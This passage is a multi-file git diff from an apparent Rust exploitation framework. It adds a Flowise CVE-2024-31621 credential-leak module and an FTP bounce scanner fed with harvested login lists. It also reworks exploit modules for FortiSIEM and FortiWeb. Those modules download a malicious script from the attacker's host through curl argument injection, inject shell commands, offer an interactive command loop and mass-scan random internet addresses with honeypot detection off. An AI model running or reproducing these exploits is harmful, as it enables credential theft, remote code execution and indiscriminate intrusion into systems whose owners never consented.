let port_str = prompt_default("Target Port", "25").await?;
|
||||
let port: u16 = port_str.parse().context("Invalid port")?;
|
||||
let port: u16 = prompt_port("Target Port", 25)?;
|
||||
|
||||
println!("{} Target: {}:{}", "[*]".blue(), target_ip, port);
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Flowise 1.6.5 Authentication Bypass (CVE-2024-31621)
|
||||
/// Unauthenticated access to /API/V1/credentials endpoint.
|
||||
///
|
||||
/// Credits:
|
||||
/// - Discovered by DhiyaneshDK (Nuclei Template)
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Normalize target
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let check_url = format!("{}/API/V1/credentials", url);
|
||||
println!("[*] Checking {}...", check_url.cyan());
|
||||
|
||||
let resp = client.get(&check_url).send().await?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
let text = resp.text().await?;
|
||||
if text.contains("credentialName") && text.contains("updatedDate") {
|
||||
println!("{}", "[+] Target is VULNERABLE! Credentials exposed.".green().bold());
|
||||
println!("[+] Response preview: {:.200}...", text);
|
||||
} else {
|
||||
println!("{}", "[-] Endpoint accessible but content doesn't match expected leak.".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Request failed or credentials protected.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Flowise Authentication Bypass (CVE-2024-31621)".green().bold());
|
||||
}
|
||||
@@ -10,7 +10,7 @@ use crate::utils::escape_js_command;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::io::Write;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
@@ -161,33 +161,27 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut command = String::new();
|
||||
|
||||
print!("{}", "Email: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut email)
|
||||
.await
|
||||
.context("Failed to read email")?;
|
||||
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut password)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
|
||||
print!("{}", "Command to execute: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut command)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
|
||||
let email = email.trim();
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
pub mod cve_2025_59528_flowise_rce;
|
||||
pub mod cve_2024_31621;
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -6,7 +6,7 @@ use tokio_rustls::rustls::{ClientConfig, RootCertStore, pki_types::ServerName};
|
||||
use tokio_rustls::TlsConnector;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default, prompt_port};
|
||||
|
||||
/// FortiSIEM Unauthenticated RCE (CVE-2025-64155)
|
||||
///
|
||||
@@ -20,7 +20,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -35,8 +35,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "It overwrites /opt/charting/redishb.sh on the target.".red());
|
||||
println!("{}", "It executes a command via curl argument injection.".red());
|
||||
|
||||
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1").await?;
|
||||
let lport = prompt_default("LPORT (Your Web Server Port)", "8000").await?;
|
||||
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1")?;
|
||||
let lport = prompt_port("LPORT (Your Web Server Port)", 8000)?;
|
||||
let filename = "redishb.sh";
|
||||
|
||||
println!("{} Ensure you are hosting a malicious '{}' at http://{}:{}/{}", "[*]".yellow(), filename, lhost, lport, filename);
|
||||
@@ -128,7 +128,7 @@ r#"<TEST_STORAGE type="elastic">
|
||||
let domain = ServerName::try_from(target_ip.as_str())
|
||||
.map(|n| n.to_owned())
|
||||
.or_else(|_| ServerName::try_from("example.com").map(|n| n.to_owned()))
|
||||
.unwrap();
|
||||
.expect("Regex compilation failed");
|
||||
|
||||
let mut tls_stream = connector.connect(domain, stream).await.context("TLS handshake failed")?;
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -29,8 +29,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Credentials
|
||||
let username = prompt_default("Username", "admin").await?;
|
||||
let password = prompt_required("Password").await?;
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
|
||||
// Connect and Login (to get token/cookies)
|
||||
// Note: FortiWeb login process usually involves /api/v2/token or similar
|
||||
@@ -71,7 +71,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Payload
|
||||
let cmd = prompt_default("Command to execute", "id").await?;
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
// We need to inject command in `server-name` inside backticks
|
||||
// Example: `id`
|
||||
|
||||
@@ -34,7 +34,7 @@ use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
use crate::utils::{normalize_target, prompt_input};
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 15;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
@@ -319,6 +319,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
|
||||
std::io::stdout().flush()?; // Use std::io for flush/read
|
||||
@@ -353,14 +370,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
@@ -396,7 +405,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
@@ -423,8 +432,18 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
fn prompt_input_std(msg: &str) -> Result<String> {
|
||||
print!("{}", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
@@ -439,7 +458,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" {} Test SQL injection only", "3.".bold());
|
||||
println!();
|
||||
|
||||
let choice = prompt_input("Select option [1-3]: ").await?;
|
||||
let choice = prompt_input_std("Select option [1-3]: ")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
@@ -448,7 +467,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"{}",
|
||||
"[!] WARNING: This will write files to the target system!".yellow().bold()
|
||||
);
|
||||
let confirm = prompt_input("Continue? [y/N]: ").await?;
|
||||
let confirm = prompt_input_std("Continue? [y/N]: ")?;
|
||||
if !confirm.eq_ignore_ascii_case("y") {
|
||||
println!("{}", "[-] Operation cancelled.".red());
|
||||
return Ok(());
|
||||
@@ -472,10 +491,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Interactive command loop
|
||||
println!();
|
||||
let interactive = prompt_input("Enter interactive mode? [y/N]: ").await?;
|
||||
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ")?;
|
||||
if interactive.eq_ignore_ascii_case("y") {
|
||||
loop {
|
||||
let cmd = prompt_input("cmd> ").await?;
|
||||
let cmd = prompt_input_std("cmd> ")?;
|
||||
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
|
||||
break;
|
||||
}
|
||||
@@ -492,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"2" => {
|
||||
// Direct command execution (assumes webshell already deployed)
|
||||
println!();
|
||||
let cmd = prompt_input("Enter command to execute: ").await?;
|
||||
let cmd = prompt_input_std("Enter command to execute: ")?;
|
||||
if cmd.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
|
||||
@@ -0,0 +1,267 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use suppaftp::Status;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::time::timeout;
|
||||
use regex::Regex;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_existing_file, prompt_default, prompt_int_range,
|
||||
load_lines
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 8;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 4000;
|
||||
|
||||
struct FtpCreds {
|
||||
ip: String,
|
||||
port: u16,
|
||||
user: String,
|
||||
pass: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
|
||||
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
|
||||
// Interactive Mode Check
|
||||
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
|
||||
println!("{}", "[*] Interactive Mode".cyan());
|
||||
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
|
||||
println!("[2] Scan single target");
|
||||
|
||||
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
|
||||
if choice == 1 {
|
||||
let f = prompt_existing_file("Path to credentials file")?;
|
||||
f
|
||||
} else {
|
||||
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
t
|
||||
}
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
// Check if target is a file or single target
|
||||
let targets = if std::path::Path::new(&effective_target).is_file() {
|
||||
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
|
||||
parse_ftp_results(&effective_target).await?
|
||||
} else {
|
||||
// Single target handling
|
||||
parse_single_target(&effective_target)?
|
||||
};
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets found."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_vuln = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let total = targets.len();
|
||||
|
||||
// Stats loop
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_vuln = stats_vuln.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(3)).await;
|
||||
let checked = s_checked.load(Ordering::Relaxed);
|
||||
let vuln = s_vuln.load(Ordering::Relaxed);
|
||||
println!(
|
||||
"[*] Progress: {}/{} checked, {} Vulnerable found",
|
||||
checked, total, vuln.to_string().red().bold()
|
||||
);
|
||||
if checked >= total { break; }
|
||||
}
|
||||
});
|
||||
|
||||
// Run Scans
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for target_creds in targets {
|
||||
// Safe permit acquisition
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Check if semaphore closed
|
||||
};
|
||||
let sc = stats_checked.clone();
|
||||
let sv = stats_vuln.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if check_bounce_vulnerability(&target_creds, &of).await {
|
||||
sv.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait all
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", "[*] Scan Completed.".green().bold());
|
||||
println!("[+] Results saved to {}", output_file.cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
|
||||
// Attempt parse as "IP:PORT:USER:PASS" (optional prefix scan)
|
||||
// Regex matches 4 groups separated by colons
|
||||
let re_full = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
if let Some(caps) = re_full.captures(raw) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
return Ok(vec![FtpCreds { ip, port, user, pass }]);
|
||||
}
|
||||
|
||||
// Fallback: Just IP or IP:PORT, assumes anonymous
|
||||
let (ip, port) = if raw.matches(':').count() == 1 {
|
||||
let parts: Vec<&str> = raw.split(':').collect();
|
||||
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
|
||||
(parts[0].to_string(), p_val)
|
||||
} else if !raw.contains(':') {
|
||||
(raw.to_string(), 21)
|
||||
} else {
|
||||
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
|
||||
(raw.to_string(), 21)
|
||||
};
|
||||
|
||||
// If it *looks* like an IP, return default creds
|
||||
if !ip.is_empty() {
|
||||
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
|
||||
}
|
||||
|
||||
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
|
||||
}
|
||||
|
||||
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
|
||||
let lines = load_lines(path)?;
|
||||
let mut creds = Vec::new();
|
||||
|
||||
// Standard Format: IP:PORT:USER:PASS, optionally prefixed with "[+] FOUND: "
|
||||
// We allow spaces around the prefix.
|
||||
let re_std = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
// Legacy/Old formats support (optional but good for transitions)
|
||||
// IP:PORT [ANONYMOUS...]
|
||||
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
for line in lines {
|
||||
if let Some(caps) = re_std.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
creds.push(FtpCreds { ip, port, user, pass });
|
||||
} else if let Some(caps) = re_anon_old.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
|
||||
}
|
||||
}
|
||||
|
||||
Ok(creds)
|
||||
}
|
||||
|
||||
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
|
||||
let addr = format!("{}:{}", creds.ip, creds.port);
|
||||
|
||||
// Connect
|
||||
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(f)) => f,
|
||||
_ => return false,
|
||||
};
|
||||
|
||||
// Login
|
||||
if ftp.login(&creds.user, &creds.pass).await.is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set Checks
|
||||
let mut is_vuln = false;
|
||||
let mut ext_vuln = false;
|
||||
let mut int_vuln = false;
|
||||
|
||||
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
|
||||
// PORT command format: h1,h2,h3,h4,p1,p2
|
||||
let ext_test = "PORT 8,8,8,8,0,53";
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
|
||||
Ok(Ok(resp)) => {
|
||||
// Check for 200 OK
|
||||
if (resp.status as u32) == 200 {
|
||||
ext_vuln = true;
|
||||
is_vuln = true;
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Test 2: Internal Bounce (Common Gateways)
|
||||
// 192.168.1.1:80 => 192,168,1,1,0,80
|
||||
// 10.0.0.1:80 => 10,0,0,1,0,80
|
||||
// We try a few. If ANY work, we flag it.
|
||||
let int_tests = vec![
|
||||
"PORT 192,168,1,1,0,80",
|
||||
"PORT 10,0,0,1,0,80",
|
||||
"PORT 172,16,0,1,0,80",
|
||||
"PORT 127,0,0,1,0,22" // Bounce to self?
|
||||
];
|
||||
|
||||
for cmd in int_tests {
|
||||
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
|
||||
.ok()
|
||||
.and_then(|r| r.ok())
|
||||
.map(|r| (r.status as u32) == 200)
|
||||
.unwrap_or(false)
|
||||
{
|
||||
int_vuln = true;
|
||||
is_vuln = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let _ = ftp.quit().await;
|
||||
|
||||
if is_vuln {
|
||||
let msg = format!(
|
||||
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
|
||||
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
|
||||
);
|
||||
println!("\r[+] Found: {}", msg);
|
||||
|
||||
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES" } else { "NO" },
|
||||
if int_vuln { "YES" } else { "NO" });
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
|
||||
let _ = file.write_all(file_log.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
is_vuln
|
||||
}
|
||||
@@ -1 +1,2 @@
|
||||
pub mod pachev_ftp_path_traversal_1_0;
|
||||
pub mod ftp_bounce_test;
|
||||
|
||||
@@ -9,7 +9,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
@@ -81,14 +81,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
@@ -98,27 +96,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut use_list = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut use_list)
|
||||
.await
|
||||
.context("Failed to read list choice")?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut path = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut path)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
let path = path.trim();
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
@@ -49,14 +49,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
@@ -65,14 +63,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read payload size input")?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
@@ -84,14 +80,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read heartbeat attempts input")?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
@@ -104,26 +98,22 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read batch mode input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read batch file path input")?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
|
||||
@@ -300,6 +300,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
